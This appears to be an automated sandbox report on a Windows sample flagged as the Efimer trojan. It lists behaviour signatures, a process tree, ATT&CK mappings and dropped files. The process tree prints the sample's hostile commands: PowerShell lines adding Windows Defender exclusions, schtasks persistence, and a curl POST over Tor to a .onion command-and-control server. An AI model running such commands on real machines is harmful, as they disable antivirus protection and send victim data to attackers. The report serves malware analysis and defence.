Analysis
- max time kernel
150s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
20/05/2026, 19:53
General
- Target common.dat.exe
- Size 13.2MB
- Sample260520-ymdp8sb17x
- SHA256 ffeba325384757d1b22d585d8ad00d79ac807e13b8ad31ddb42205726b3006ef
Malware Config
Signatures
- Family: Efimer
Efimer is a trojan written in JS.
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 15 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\common.dat.exe"C:\Users\Admin\AppData\Local\Temp\common.dat.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\common.dat.exe"C:\Users\Admin\AppData\Local\Temp\common.dat.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-MpComputerStatus | Out-Null"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\curl.execurl -s --max-time 10 https://ipinfo.io/country3⤵
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn ufino /xml C:\Users\Public\Documents\uzaya\ufino.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn ocafa /xml C:\Users\Public\Documents\uzaya\ocafa.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe1⤵
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ocafa.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\uzaya\ugate.exe"C:\Users\Public\Documents\uzaya\ugate.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-f0c351d5&FLAG=0&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile2⤵
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C:\Users\Public\Documents\uzaya\ugate.exe"C:\Users\Public\Documents\uzaya\ugate.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ufino.js1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2JavaScript
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_uuid.pyd
_wmi.pyd
base_library.zip
addrs.txt
jobfs_d.js
jobfs_n.js
jpack.js
task.xml
ugate.exe
words.txt
libcrypto-3.dll
libffi-8.dll
_psutil_windows.pyd
pyarmor_runtime.pyd
python3.dll
python313.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_e5fkhxwu.tjd.ps1
cfile
cached-certs
cached-microdesc-consensus
cached-microdescs.new
cached-microdescs.new
state
GUID
addrs.txt
cinfo.inf
ocafa.js
ocafa.xml
ufino.js
ufino.xml
ugate.exe
words.txt
memory/1828-81-0x00000168D3990000-0x00000168D399A000-memory.dmp
memory/1828-85-0x00000168D39E0000-0x00000168D39EA000-memory.dmp
memory/1828-61-0x00000168D1340000-0x00000168D1350000-memory.dmp
memory/1828-68-0x00000168D33C0000-0x00000168D33E2000-memory.dmp
memory/1828-69-0x00000168D1340000-0x00000168D1350000-memory.dmp
memory/1828-82-0x00000168D39F0000-0x00000168D3A0A000-memory.dmp
memory/1828-76-0x00000168D3440000-0x00000168D345C000-memory.dmp
memory/1828-77-0x00000168D3680000-0x00000168D3733000-memory.dmp
memory/1828-84-0x00000168D39D0000-0x00000168D39D6000-memory.dmp
memory/1828-83-0x00000168D39A0000-0x00000168D39A8000-memory.dmp
memory/1828-79-0x00000168D39B0000-0x00000168D39CC000-memory.dmp
memory/1828-78-0x00000168D3460000-0x00000168D346A000-memory.dmp
memory/2840-80-0x00007FF774D30000-0x00007FF774D62000-memory.dmp
memory/2840-187-0x00007FF774D30000-0x00007FF774D62000-memory.dmp
memory/3376-252-0x0000023949110000-0x0000023949210000-memory.dmp
memory/4868-87-0x0000000070180000-0x000000007022B000-memory.dmp
memory/4868-86-0x00007FF774D30000-0x00007FF774D62000-memory.dmp
memory/4868-186-0x0000000070180000-0x000000007022B000-memory.dmp
memory/4868-185-0x00007FF774D30000-0x00007FF774D62000-memory.dmp